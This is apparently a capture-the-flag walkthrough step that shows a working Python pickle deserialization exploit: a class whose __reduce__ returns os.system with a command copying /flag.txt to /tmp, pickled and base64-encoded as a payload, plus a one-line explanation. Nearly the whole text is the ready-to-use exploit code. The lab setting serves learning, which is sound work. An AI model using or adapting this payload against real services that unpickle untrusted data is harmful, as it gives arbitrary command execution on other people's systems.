Create a Python class with __reduce__ returning os.system with a command that writes the flag to a readable path.
Command / Input
import pickle, os, base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('cp /flag.txt /tmp/pwn.txt',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
⚑ The payload base64-encodes a pickled object that calls os.system when deserialised.